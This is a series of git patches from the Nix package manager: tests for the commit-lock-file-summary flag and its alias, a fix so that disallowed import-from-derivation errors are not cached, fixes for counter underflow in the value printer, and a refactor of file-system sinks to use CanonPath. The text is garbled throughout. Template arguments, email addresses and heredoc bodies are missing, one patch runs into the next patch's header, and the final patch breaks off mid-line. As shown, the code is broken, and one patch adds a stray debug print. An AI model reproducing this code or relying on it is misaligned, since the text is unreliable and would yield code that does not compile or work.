(@fricklerhandwerk) - Thomas Bereknyei (@tomberek) - Robert Hensing (@roberth) From 9e9730ef0f9773f38d0c49749ab6d3b24843296b Mon Sep 17 00:00:00 2001 From: Cole Helbling Date: Fri, 28 Jun 2024 14:30:43 -0700 Subject: [PATCH 0920/1251] Test that commit-lock-file-summary and its alias work --- tests/functional/flakes/flakes.sh | 40 ++++++++++++++++++++++++++++++- 1 file changed, 39 insertions(+), 1 deletion(-) diff --git a/tests/functional/flakes/flakes.sh b/tests/functional/flakes/flakes.sh index 9d2524d15..c3cb2c661 100755 --- a/tests/functional/flakes/flakes.sh +++ b/tests/functional/flakes/flakes.sh @@ -19,13 +19,17 @@ flake7Dir=$TEST_ROOT/flake7 nonFlakeDir=$TEST_ROOT/nonFlake badFlakeDir=$TEST_ROOT/badFlake flakeGitBare=$TEST_ROOT/flakeGitBare +lockfileSummaryFlake=$TEST_ROOT/lockfileSummaryFlake -for repo in "$flake1Dir" "$flake2Dir" "$flake3Dir" "$flake7Dir" "$nonFlakeDir"; do +for repo in "$flake1Dir" "$flake2Dir" "$flake3Dir" "$flake7Dir" "$nonFlakeDir" "$lockfileSummaryFlake"; do # Give one repo a non-main initial branch. extraArgs= if [[ "$repo" == "$flake2Dir" ]]; then extraArgs="--initial-branch=main" fi + if [[ "$repo" == "$lockfileSummaryFlake" ]]; then + extraArgs="--initial-branch=main" + fi createGitRepo "$repo" "$extraArgs" done @@ -644,3 +648,37 @@ expectStderr 1 nix flake metadata "$flake2Dir" --no-allow-dirty --reference-lock [[ $($nonFlakeDir/shebang-inline-expr.sh baz) = "foo"$'\n'"baz" ]] [[ $($nonFlakeDir/shebang-file.sh baz) = "foo"$'\n'"baz" ]] expect 1 $nonFlakeDir/shebang-reject.sh 2>&1 | grepQuiet -F 'error: unsupported unquoted character in nix shebang: *. Use double backticks to escape?' + +# Test that the --commit-lock-file-summary flag and its alias work +cat > "$lockfileSummaryFlake/flake.nix" < Date: Fri, 28 Jun 2024 10:57:03 -0700 Subject: [PATCH 0921/1251] Restore commit-lock-file-summary rename for consistency It was originally renamed in https://github.com/NixOS/nix/pull/10691, but https://github.com/NixOS/nix/pull/9063 accidentally removed the new name and alias. --- src/libflake/flake-settings.hh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/libflake/flake-settings.hh b/src/libflake/flake-settings.hh index 1087c0eba..f97c175e8 100644 --- a/src/libflake/flake-settings.hh +++ b/src/libflake/flake-settings.hh @@ -37,12 +37,12 @@ struct FlakeSettings : public Config Setting commitLockFileSummary{ this, "", - "commit-lockfile-summary", + "commit-lock-file-summary", R"( The commit summary to use when committing changed flake lock files. If empty, the summary is generated based on the action performed. )", - {}, + {"commit-lockfile-summary"}, true, Xp::Flakes}; }; From fd94b74ee520f4e5acc95381e448ab31ee501426 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 29 Jun 2024 13:19:04 +0200 Subject: [PATCH 0922/1251] Fix #10947; don't cache disallowed IFD --- src/libexpr/primops.cc | 2 +- tests/functional/flakes/eval-cache.sh | 17 ++++++++++++++++- 2 files changed, 17 insertions(+), 2 deletions(-) diff --git a/src/libexpr/primops.cc b/src/libexpr/primops.cc index 212441019..08f719f0f 100644 --- a/src/libexpr/primops.cc +++ b/src/libexpr/primops.cc @@ -78,7 +78,7 @@ StringMap EvalState::realiseContext(const NixStringContext & context, StorePathS if (drvs.empty()) return {}; if (isIFD && !settings.enableImportFromDerivation) - error( + error( "cannot build '%1%' during evaluation because the option 'allow-import-from-derivation' is disabled", drvs.begin()->to_string(*store) ).debugThrow(); diff --git a/tests/functional/flakes/eval-cache.sh b/tests/functional/flakes/eval-cache.sh index 0f8df1b91..d581a8dbd 100755 --- a/tests/functional/flakes/eval-cache.sh +++ b/tests/functional/flakes/eval-cache.sh @@ -7,12 +7,22 @@ requireGit flake1Dir="$TEST_ROOT/eval-cache-flake" createGitRepo "$flake1Dir" "" +cp ../simple.nix ../simple.builder.sh ../config.nix "$flake1Dir/" +git -C "$flake1Dir" add simple.nix simple.builder.sh config.nix +git -C "$flake1Dir" commit -m "config.nix" cat >"$flake1Dir/flake.nix" < \$out + ''; + }; + ifd = assert (import self.drv); self.drv; }; } EOF @@ -22,3 +32,8 @@ git -C "$flake1Dir" commit -m "Init" expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' expect 1 nix build "$flake1Dir#foo.bar" 2>&1 | grepQuiet 'error: breaks' + +# Conditional error should not be cached +expect 1 nix build "$flake1Dir#ifd" --option allow-import-from-derivation false 2>&1 \ + | grepQuiet 'error: cannot build .* during evaluation because the option '\''allow-import-from-derivation'\'' is disabled' +nix build "$flake1Dir#ifd" From 9b88bf8adf721d6b2d1a5666a97a0c6e9046a2d7 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 29 Jun 2024 13:48:17 +0200 Subject: [PATCH 0923/1251] Fix underflow in Printer::printAttrs MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The code that counts the number of elided attrs incorrectly used the per-printer "global" attribute counter instead of a counter that was relevant only to the current attribute set. This bug flew under the radar because often the attribute sets aren't nested, not big enough, or we wouldn't pay attention to the numbers. I've noticed the issue because the difference underflowed. Although this behavior is tested by the functional test lang/eval-fail-bad-string-interpolation-4.nix, the underflow slipped through review. A simpler reproducer would be as follows, but I haven't added it to the test suite to keep it simple and marginally faster. ``` $ nix run nix/2.23.1 -- eval --expr '"" + (let v = { a = { a = 1; b = 2; c = 1; d = 1; e = 1; f = 1; g = 1; h = 1; }; b = { a = 1; b = 1; c = 1; }; }; in builtins.deepSeq v v)' error: … while evaluating a path segment at «string»:1:6: 1| "" + (let v = { a = { a = 1; b = 2; c = 1; d = 1; e = 1; f = 1; g = 1; h = 1; }; b = { a = 1; b = 1; c = 1; }; }; in builtins.deepSeq v v) | ^ error: cannot coerce a set to a string: { a = { a = 1; b = 2; c = 1; d = 1; e = 1; f = 1; g = 1; h = 1; }; b = { a = 1; «4294967289 attributes elided» }; } ``` --- src/libexpr/print.cc | 5 ++++- .../lang/eval-fail-bad-string-interpolation-4.err.exp | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 10fe7923f..4e44fa721 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -345,11 +345,13 @@ private: auto prettyPrint = shouldPrettyPrintAttrs(sorted); + size_t currentAttrsPrinted = 0; + for (auto & i : sorted) { printSpace(prettyPrint); if (attrsPrinted >= options.maxAttrs) { - printElided(sorted.size() - attrsPrinted, "attribute", "attributes"); + printElided(sorted.size() - currentAttrsPrinted, "attribute", "attributes"); break; } @@ -358,6 +360,7 @@ private: print(*i.second, depth + 1); output << ";"; attrsPrinted++; + currentAttrsPrinted++; } decreaseIndent(); diff --git a/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp b/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp index 6f907106b..b262e814d 100644 --- a/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp +++ b/tests/functional/lang/eval-fail-bad-string-interpolation-4.err.exp @@ -6,4 +6,4 @@ error: | ^ 10| - error: cannot coerce a set to a string: { a = { a = { a = { a = "ha"; b = "ha"; c = "ha"; d = "ha"; e = "ha"; f = "ha"; g = "ha"; h = "ha"; j = "ha"; }; «4294967295 attributes elided» }; «4294967294 attributes elided» }; «4294967293 attributes elided» } + error: cannot coerce a set to a string: { a = { a = { a = { a = "ha"; b = "ha"; c = "ha"; d = "ha"; e = "ha"; f = "ha"; g = "ha"; h = "ha"; j = "ha"; }; «8 attributes elided» }; «8 attributes elided» }; «8 attributes elided» } From ce1dc87711e06d1b04e444e3215ad8d35f191abd Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 29 Jun 2024 14:01:10 +0200 Subject: [PATCH 0924/1251] Refactor: rename ValuePrinter::totalAttrsPrinted Make it more distinct from the attrs printed of any specific attrset. --- src/libexpr/print.cc | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 4e44fa721..5f6a08cfe 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -163,7 +163,7 @@ private: EvalState & state; PrintOptions options; std::optional seen; - size_t attrsPrinted = 0; + size_t totalAttrsPrinted = 0; size_t listItemsPrinted = 0; std::string indent; @@ -350,7 +350,7 @@ private: for (auto & i : sorted) { printSpace(prettyPrint); - if (attrsPrinted >= options.maxAttrs) { + if (totalAttrsPrinted >= options.maxAttrs) { printElided(sorted.size() - currentAttrsPrinted, "attribute", "attributes"); break; } @@ -359,7 +359,7 @@ private: output << " = "; print(*i.second, depth + 1); output << ";"; - attrsPrinted++; + totalAttrsPrinted++; currentAttrsPrinted++; } @@ -591,7 +591,7 @@ public: void print(Value & v) { - attrsPrinted = 0; + totalAttrsPrinted = 0; listItemsPrinted = 0; indent.clear(); From bfc54162405213b65f045a422fcb90ae62a18df1 Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 29 Jun 2024 14:02:28 +0200 Subject: [PATCH 0925/1251] Refactor: rename ValuePrinter::totalListItemsPrinted --- src/libexpr/print.cc | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 5f6a08cfe..74aa52d48 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -164,7 +164,7 @@ private: PrintOptions options; std::optional seen; size_t totalAttrsPrinted = 0; - size_t listItemsPrinted = 0; + size_t totalListItemsPrinted = 0; std::string indent; void increaseIndent() @@ -408,8 +408,8 @@ private: for (auto elem : listItems) { printSpace(prettyPrint); - if (listItemsPrinted >= options.maxListItems) { - printElided(listItems.size() - listItemsPrinted, "item", "items"); + if (totalListItemsPrinted >= options.maxListItems) { + printElided(listItems.size() - totalListItemsPrinted, "item", "items"); break; } @@ -418,7 +418,7 @@ private: } else { printNullptr(); } - listItemsPrinted++; + totalListItemsPrinted++; } decreaseIndent(); @@ -592,7 +592,7 @@ public: void print(Value & v) { totalAttrsPrinted = 0; - listItemsPrinted = 0; + totalListItemsPrinted = 0; indent.clear(); if (options.trackRepeated) { From b2c7f09b0a095ba0c0f3141a5734bf958d23b86a Mon Sep 17 00:00:00 2001 From: Robert Hensing Date: Sat, 29 Jun 2024 14:08:43 +0200 Subject: [PATCH 0926/1251] Fix underflow in Printer::printList Analogous to 9b88bf8adf7 / three commits back --- src/libexpr/print.cc | 6 +++++- .../lang/eval-fail-nested-list-items.err.exp | 9 +++++++++ tests/functional/lang/eval-fail-nested-list-items.nix | 11 +++++++++++ 3 files changed, 25 insertions(+), 1 deletion(-) create mode 100644 tests/functional/lang/eval-fail-nested-list-items.err.exp create mode 100644 tests/functional/lang/eval-fail-nested-list-items.nix diff --git a/src/libexpr/print.cc b/src/libexpr/print.cc index 74aa52d48..2f377e588 100644 --- a/src/libexpr/print.cc +++ b/src/libexpr/print.cc @@ -405,11 +405,14 @@ private: output << "["; auto listItems = v.listItems(); auto prettyPrint = shouldPrettyPrintList(listItems); + + size_t currentListItemsPrinted = 0; + for (auto elem : listItems) { printSpace(prettyPrint); if (totalListItemsPrinted >= options.maxListItems) { - printElided(listItems.size() - totalListItemsPrinted, "item", "items"); + printElided(listItems.size() - currentListItemsPrinted, "item", "items"); break; } @@ -419,6 +422,7 @@ private: printNullptr(); } totalListItemsPrinted++; + currentListItemsPrinted++; } decreaseIndent(); diff --git a/tests/functional/lang/eval-fail-nested-list-items.err.exp b/tests/functional/lang/eval-fail-nested-list-items.err.exp new file mode 100644 index 000000000..90d439061 --- /dev/null +++ b/tests/functional/lang/eval-fail-nested-list-items.err.exp @@ -0,0 +1,9 @@ +error: + … while evaluating a path segment + at /pwd/lang/eval-fail-nested-list-items.nix:11:6: + 10| + 11| "" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v) + | ^ + 12| + + error: cannot coerce a list to a string: [ [ 1 2 3 4 5 6 7 8 ] [ 1 «3 items elided» ] ] diff --git a/tests/functional/lang/eval-fail-nested-list-items.nix b/tests/functional/lang/eval-fail-nested-list-items.nix new file mode 100644 index 000000000..af45b1dd4 --- /dev/null +++ b/tests/functional/lang/eval-fail-nested-list-items.nix @@ -0,0 +1,11 @@ +# This reproduces https://github.com/NixOS/nix/issues/10993, for lists +# $ nix run nix/2.23.1 -- eval --expr '"" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v)' +# error: +# … while evaluating a path segment +# at «string»:1:6: +# 1| "" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v) +# | ^ +# +# error: cannot coerce a list to a string: [ [ 1 2 3 4 5 6 7 8 ] [ 1 «4294967290 items elided» ] ] + +"" + (let v = [ [ 1 2 3 4 5 6 7 8 ] [1 2 3 4]]; in builtins.deepSeq v v) From 72bb5301417b03f27b56677ace343289f6f40ce2 Mon Sep 17 00:00:00 2001 From: siddhantCodes Date: Sun, 30 Jun 2024 19:03:15 +0530 Subject: [PATCH 0927/1251] use `CanonPath` in `fs-sink` and its derivatives --- src/libfetchers/git-utils.cc | 16 +++++++------- src/libstore/nar-accessor.cc | 12 +++++------ src/libutil/archive.cc | 6 +++--- src/libutil/file-system.cc | 2 +- src/libutil/fs-sink.cc | 31 +++++++++++---------------- src/libutil/fs-sink.hh | 28 ++++++++++++------------ src/libutil/git.cc | 10 ++++----- src/libutil/git.hh | 8 +++---- src/libutil/memory-source-accessor.cc | 12 +++++------ src/libutil/memory-source-accessor.hh | 6 +++--- src/libutil/tarfile.cc | 7 +++--- tests/unit/libutil/git.cc | 14 ++++++------ 12 files changed, 73 insertions(+), 79 deletions(-) diff --git a/src/libfetchers/git-utils.cc b/src/libfetchers/git-utils.cc index 2ea1e15ed..500064cee 100644 --- a/src/libfetchers/git-utils.cc +++ b/src/libfetchers/git-utils.cc @@ -851,10 +851,10 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink } void createRegularFile( - const Path & path, + const CanonPath & path, std::function func) override { - auto pathComponents = tokenizeString>(path, "/"); + auto pathComponents = tokenizeString>(path.rel(), "/"); if (!prepareDirs(pathComponents, false)) return; git_writestream * stream = nullptr; @@ -862,11 +862,11 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink throw Error("creating a blob stream object: %s", git_error_last()->message); struct CRF : CreateRegularFileSink { - const Path & path; + const CanonPath & path; GitFileSystemObjectSinkImpl & back; git_writestream * stream; bool executable = false; - CRF(const Path & path, GitFileSystemObjectSinkImpl & back, git_writestream * stream) + CRF(const CanonPath & path, GitFileSystemObjectSinkImpl & back, git_writestream * stream) : path(path), back(back), stream(stream) {} void operator () (std::string_view data) override @@ -891,15 +891,15 @@ struct GitFileSystemObjectSinkImpl : GitFileSystemObjectSink : GIT_FILEMODE_BLOB); } - void createDirectory(const Path & path) override + void createDirectory(const CanonPath & path) override { - auto pathComponents = tokenizeString>(path, "/"); + auto pathComponents = tokenizeString>(path.rel(), "/"); (void) prepareDirs(pathComponents, true); } - void createSymlink(const Path & path, const std::string & target) override + void createSymlink(const CanonPath & path, const std::string & target) override { - auto pathComponents = tokenizeString>(path, "/"); + auto pathComponents = tokenizeString>(path.rel(), "/"); if (!prepareDirs(pathComponents, false)) return; git_oid oid; diff --git a/src/libstore/nar-accessor.cc b/src/libstore/nar-accessor.cc index cecf8148f..33dde48e5 100644 --- a/src/libstore/nar-accessor.cc +++ b/src/libstore/nar-accessor.cc @@ -71,9 +71,9 @@ struct NarAccessor : public SourceAccessor : acc(acc), source(source) { } - NarMember & createMember(const Path & path, NarMember member) + NarMember & createMember(const CanonPath & path, NarMember member) { - size_t level = std::count(path.begin(), path.end(), '/'); + size_t level = std::count(path.rel().begin(), path.rel().end(), '/'); while (parents.size() > level) parents.pop(); if (parents.empty()) { @@ -83,14 +83,14 @@ struct NarAccessor : public SourceAccessor } else { if (parents.top()->stat.type != Type::tDirectory) throw Error("NAR file missing parent directory of path '%s'", path); - auto result = parents.top()->children.emplace(baseNameOf(path), std::move(member)); + auto result = parents.top()->children.emplace(baseNameOf(path.rel()), std::move(member)); auto & ref = result.first->second; parents.push(&ref); return ref; } } - void createDirectory(const Path & path) override + void createDirectory(const CanonPath & path) override { createMember(path, NarMember{ .stat = { .type = Type::tDirectory, @@ -100,7 +100,7 @@ struct NarAccessor : public SourceAccessor } }); } - void createRegularFile(const Path & path, std::function func) override + void createRegularFile(const CanonPath & path, std::function func) override { auto & nm = createMember(path, NarMember{ .stat = { .type = Type::tRegular, @@ -112,7 +112,7 @@ struct NarAccessor : public SourceAccessor func(nmc); } - void createSymlink(const Path & path, const std::string & target) override + void createSymlink(const CanonPath & path, const std::string & target) override { createMember(path, NarMember{ diff --git a/src/libutil/archive.cc b/src/libutil/archive.cc index 22be392d4..3693a1ffd 100644 --- a/src/libutil/archive.cc +++ b/src/libutil/archive.cc @@ -165,7 +165,7 @@ struct CaseInsensitiveCompare }; -static void parse(FileSystemObjectSink & sink, Source & source, const Path & path) +static void parse(FileSystemObjectSink & sink, Source & source, const CanonPath & path) { std::string s; @@ -246,7 +246,7 @@ static void parse(FileSystemObjectSink & sink, Source & source, const Path & pat } } else if (s == "node") { if (name.empty()) throw badArchive("entry name missing"); - parse(sink, source, path + "/" + name); + parse(sink, source, path / name); } else throw badArchive("unknown field " + s); } @@ -290,7 +290,7 @@ void parseDump(FileSystemObjectSink & sink, Source & source) } if (version != narVersionMagic1) throw badArchive("input doesn't look like a Nix archive"); - parse(sink, source, ""); + parse(sink, source, CanonPath{""}); } diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc index f75851bbd..9307a0b53 100644 --- a/src/libutil/file-system.cc +++ b/src/libutil/file-system.cc @@ -127,7 +127,7 @@ Path dirOf(const PathView path) } -std::string_view baseNameOf(std::string_view path) +std::string_view baseNameOf(PathView path) { if (path.empty()) return ""; diff --git a/src/libutil/fs-sink.cc b/src/libutil/fs-sink.cc index a6a743737..b4900cf8b 100644 --- a/src/libutil/fs-sink.cc +++ b/src/libutil/fs-sink.cc @@ -14,7 +14,7 @@ namespace nix { void copyRecursive( SourceAccessor & accessor, const CanonPath & from, - FileSystemObjectSink & sink, const Path & to) + FileSystemObjectSink & sink, const CanonPath & to) { auto stat = accessor.lstat(from); @@ -43,7 +43,7 @@ void copyRecursive( for (auto & [name, _] : accessor.readDirectory(from)) { copyRecursive( accessor, from / name, - sink, to + "/" + name); + sink, to / name); break; } break; @@ -69,17 +69,9 @@ static RestoreSinkSettings restoreSinkSettings; static GlobalConfig::Register r1(&restoreSinkSettings); -void RestoreSink::createDirectory(const Path & path) +void RestoreSink::createDirectory(const CanonPath & path) { - Path p = dstPath + path; - if ( -#ifndef _WIN32 // TODO abstract mkdir perms for Windows - mkdir(p.c_str(), 0777) == -1 -#else - !CreateDirectoryW(pathNG(p).c_str(), NULL) -#endif - ) - throw NativeSysError("creating directory '%1%'", p); + std::filesystem::create_directory(dstPath / path.rel()); }; struct RestoreRegularFile : CreateRegularFileSink { @@ -90,13 +82,14 @@ struct RestoreRegularFile : CreateRegularFileSink { void preallocateContents(uint64_t size) override; }; -void RestoreSink::createRegularFile(const Path & path, std::function func) +void RestoreSink::createRegularFile(const CanonPath & path, std::function func) { - Path p = dstPath + path; + std::cout << "SCREAM!!!====== " << dstPath / path.rel() << std::endl; + std::filesystem::path p = dstPath / path.rel(); RestoreRegularFile crf; crf.fd = #ifdef _WIN32 - CreateFileW(pathNG(path).c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) + CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL) #else open(p.c_str(), O_CREAT | O_EXCL | O_WRONLY | O_CLOEXEC, 0666) #endif @@ -141,14 +134,14 @@ void RestoreRegularFile::operator () (std::string_view data) writeFull(fd.get(), data); } -void RestoreSink::createSymlink(const Path & path, const std::string & target) +void RestoreSink::createSymlink(const CanonPath & path, const std::string & target) { - Path p = dstPath + path; + std::filesystem::path p = dstPath / path.rel(); nix::createSymlink(target, p); } -void RegularFileSink::createRegularFile(const Path & path, std::function func) +void RegularFileSink::createRegularFile(const CanonPath & path, std::function func) { struct CRF : CreateRegularFileSink { RegularFileSink & back; @@ -163,7 +156,7 @@ void RegularFileSink::createRegularFile(const Path & path, std::function func) +void NullFileSystemObjectSink::createRegularFile(const CanonPath & path, std::function func) { struct : CreateRegularFileSink { void operator () (std::string_view data) override {} diff --git a/src/libutil/fs-sink.hh b/src/libutil/fs-sink.hh index ae577819a..cf7d34d22 100644 --- a/src/libutil/fs-sink.hh +++ b/src/libutil/fs-sink.hh @@ -28,17 +28,17 @@ struct FileSystemObjectSink { virtual ~FileSystemObjectSink() = default; - virtual void createDirectory(const Path & path) = 0; + virtual void createDirectory(const CanonPath & path) = 0; /** * This function in general is no re-entrant. Only one file can be * written at a time. */ virtual void createRegularFile( - const Path & path, + const CanonPath & path, std::function) = 0; - virtual void createSymlink(const Path & path, const std::string & target) = 0; + virtual void createSymlink(const CanonPath & path, const std::string & target) = 0; }; /** @@ -46,17 +46,17 @@ struct FileSystemObjectSink */ void copyRecursive( SourceAccessor & accessor, const CanonPath & sourcePath, - FileSystemObjectSink & sink, const Path & destPath); + FileSystemObjectSink & sink, const CanonPath & destPath); /** * Ignore everything and do nothing */ struct NullFileSystemObjectSink : FileSystemObjectSink { - void createDirectory(const Path & path) override { } - void createSymlink(const Path & path, const std::string & target) override { } + void createDirectory(const CanonPath & path) override { } + void createSymlink(const CanonPath & path, const std::string & target) override { } void createRegularFile( - const Path & path, + const CanonPath & path, std::function) override; }; @@ -65,15 +65,15 @@ struct NullFileSystemObjectSink : FileSystemObjectSink */ struct RestoreSink : FileSystemObjectSink { - Path dstPath; + std::filesystem::path dstPath; - void createDirectory(const Path & path) override; + void createDirectory(const CanonPath & path) override; void createRegularFile( - const Path & path, + const CanonPath & path, std::function) override; - void createSymlink(const Path & path, const std::string & target) override; + void createSymlink(const CanonPath & path, const std::string & target) override; }; /** @@ -88,18 +88,18 @@ struct RegularFileSink : FileSystemObjectSink RegularFileSink(Sink & sink) : sink(sink) { } - void createDirectory(const Path & path) override + void createDirectory(const CanonPath & path) override { regular = false; } - void createSymlink(const Path & path, const std::string & target) override + void createSymlink(const CanonPath & path, const std::string & target) override { regular = false; } void createRegularFile( - const Path & path, + const CanonPath & path, std::function) override; }; diff --git a/src/libutil/git.cc b/src/libutil/git.cc index 8c538c988..f23df566a 100644 --- a/src/libutil/git.cc +++ b/src/libutil/git.cc @@ -53,7 +53,7 @@ static std::string getString(Source & source, int n) void parseBlob( FileSystemObjectSink & sink, - const Path & sinkPath, + const CanonPath & sinkPath, Source & source, BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings) @@ -116,7 +116,7 @@ void parseBlob( void parseTree( FileSystemObjectSink & sink, - const Path & sinkPath, + const CanonPath & sinkPath, Source & source, std::function hook, const ExperimentalFeatureSettings & xpSettings) @@ -147,7 +147,7 @@ void parseTree( Hash hash(HashAlgorithm::SHA1); std::copy(hashs.begin(), hashs.end(), hash.hash); - hook(name, TreeEntry { + hook(CanonPath{name}, TreeEntry { .mode = mode, .hash = hash, }); @@ -171,7 +171,7 @@ ObjectType parseObjectType( void parse( FileSystemObjectSink & sink, - const Path & sinkPath, + const CanonPath & sinkPath, Source & source, BlobMode rootModeIfBlob, std::function hook, @@ -208,7 +208,7 @@ std::optional convertMode(SourceAccessor::Type type) void restore(FileSystemObjectSink & sink, Source & source, std::function hook) { - parse(sink, "", source, BlobMode::Regular, [&](Path name, TreeEntry entry) { + parse(sink, CanonPath{""}, source, BlobMode::Regular, [&](CanonPath name, TreeEntry entry) { auto [accessor, from] = hook(entry.hash); auto stat = accessor->lstat(from); auto gotOpt = convertMode(stat.type); diff --git a/src/libutil/git.hh b/src/libutil/git.hh index a65edb964..2190cc550 100644 --- a/src/libutil/git.hh +++ b/src/libutil/git.hh @@ -64,7 +64,7 @@ using Tree = std::map; * Implementations may seek to memoize resources (bandwidth, storage, * etc.) for the same Git hash. */ -using SinkHook = void(const Path & name, TreeEntry entry); +using SinkHook = void(const CanonPath & name, TreeEntry entry); /** * Parse the "blob " or "tree " prefix. @@ -89,13 +89,13 @@ enum struct BlobMode : RawMode }; void parseBlob( - FileSystemObjectSink & sink, const Path & sinkPath, + FileSystemObjectSink & sink, const CanonPath & sinkPath, Source & source, BlobMode blobMode, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); void parseTree( - FileSystemObjectSink & sink, const Path & sinkPath, + FileSystemObjectSink & sink, const CanonPath & sinkPath, Source & source, std::function hook, const ExperimentalFeatureSettings & xpSettings = experimentalFeatureSettings); @@ -108,7 +108,7 @@ void parseTree( * a blob, this is ignored. */ void parse( - FileSystemObjectSink & sink, const Path & sinkPath, + FileSystemObjectSink & sink, const CanonPath & sinkPath, Source & source, BlobMode rootModeIfBlob, std::function hook, diff --git a/src/libutil/memory-source-accessor.cc b/src/libutil/memory-source-accessor.cc index b7207cffb..c4eee1031 100644 --- a/src/libutil/memory-source-accessor.cc +++ b/src/libutil/memory-source-accessor.cc @@ -124,9 +124,9 @@ SourcePath MemorySourceAccessor::addFile(CanonPath path, std::string && contents using File = MemorySourceAccessor::File; -void MemorySink::createDirectory(const Path & path) +void MemorySink::createDirectory(const CanonPath & path) { - auto * f = dst.open(CanonPath{path}, File { File::Directory { } }); + auto * f = dst.open(path, File { File::Directory { } }); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); @@ -146,9 +146,9 @@ struct CreateMemoryRegularFile : CreateRegularFileSink { void preallocateContents(uint64_t size) override; }; -void MemorySink::createRegularFile(const Path & path, std::function func) +void MemorySink::createRegularFile(const CanonPath & path, std::function func) { - auto * f = dst.open(CanonPath{path}, File { File::Regular {} }); + auto * f = dst.open(path, File { File::Regular {} }); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); if (auto * rp = std::get_if(&f->raw)) { @@ -173,9 +173,9 @@ void CreateMemoryRegularFile::operator () (std::string_view data) regularFile.contents += data; } -void MemorySink::createSymlink(const Path & path, const std::string & target) +void MemorySink::createSymlink(const CanonPath & path, const std::string & target) { - auto * f = dst.open(CanonPath{path}, File { File::Symlink { } }); + auto * f = dst.open(path, File { File::Symlink { } }); if (!f) throw Error("file '%s' cannot be made because some parent file is not a directory", path); if (auto * s = std::get_if(&f->raw)) diff --git a/src/libutil/memory-source-accessor.hh b/src/libutil/memory-source-accessor.hh index c8f793922..cd5146c89 100644 --- a/src/libutil/memory-source-accessor.hh +++ b/src/libutil/memory-source-accessor.hh @@ -81,13 +81,13 @@ struct MemorySink : FileSystemObjectSink MemorySink(MemorySourceAccessor & dst) : dst(dst) { } - void createDirectory(const Path & path) override; + void createDirectory(const CanonPath & path) override; void createRegularFile( - const Path & path, + const CanonPath & path, std::function) override; - void createSymlink(const Path & path, const std::string & target) override; + void createSymlink(const CanonPath & path, const std::string & target) override; }; } diff --git a/src/libutil/tarfile.cc b/src/libutil/tarfile.cc index f0e24e937..c7faedd1e 100644 --- a/src/libutil/tarfile.cc +++ b/src/libutil/tarfile.cc @@ -178,6 +178,7 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin auto path = archive_entry_pathname(entry); if (!path) throw Error("cannot get archive member name: %s", archive_error_string(archive.archive)); + auto cpath = CanonPath{path}; if (r == ARCHIVE_WARN) warn(archive_error_string(archive.archive)); else @@ -188,11 +189,11 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin switch (archive_entry_filetype(entry)) { case AE_IFDIR: - parseSink.createDirectory(path); + parseSink.createDirectory(cpath); break; case AE_IFREG: { - parseSink.createRegularFile(path, [&](auto & crf) { + parseSink.createRegularFile(cpath, [&](auto & crf) { if (archive_entry_mode(entry) & S_IXUSR) crf.isExecutable(); @@ -216,7 +217,7 @@ time_t unpackTarfileToSink(TarArchive & archive, FileSystemObjectSink & parseSin case AE_IFLNK: { auto target = archive_entry_symlink(entry); - parseSink.createSymlink(path, target); + parseSink.createSymlink(cpath, target); break; } diff --git a/tests/unit/libutil/git.cc b/tests/unit/libutil/git.cc index ff934c117..9454bb675 100644 --- a/tests/unit/libutil/git.cc +++ b/tests/unit/libutil/git.cc @@ -67,7 +67,7 @@ TEST_F(GitTest, blob_read) { StringSink out; RegularFileSink out2 { out }; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Blob); - parseBlob(out2, "", in, BlobMode::Regular, mockXpSettings); + parseBlob(out2, CanonPath{""}, in, BlobMode::Regular, mockXpSettings); auto expected = readFile(goldenMaster("hello-world.bin")); @@ -132,8 +132,8 @@ TEST_F(GitTest, tree_read) { NullFileSystemObjectSink out; Tree got; ASSERT_EQ(parseObjectType(in, mockXpSettings), ObjectType::Tree); - parseTree(out, "", in, [&](auto & name, auto entry) { - auto name2 = name; + parseTree(out, CanonPath{""}, in, [&](auto & name, auto entry) { + auto name2 = std::string{name.rel()}; if (entry.mode == Mode::Directory) name2 += '/'; got.insert_or_assign(name2, std::move(entry)); @@ -210,14 +210,14 @@ TEST_F(GitTest, both_roundrip) { MemorySink sinkFiles2 { *files2 }; - std::function mkSinkHook; + std::function mkSinkHook; mkSinkHook = [&](auto prefix, auto & hash, auto blobMode) { StringSource in { cas[hash] }; parse( sinkFiles2, prefix, in, blobMode, - [&](const Path & name, const auto & 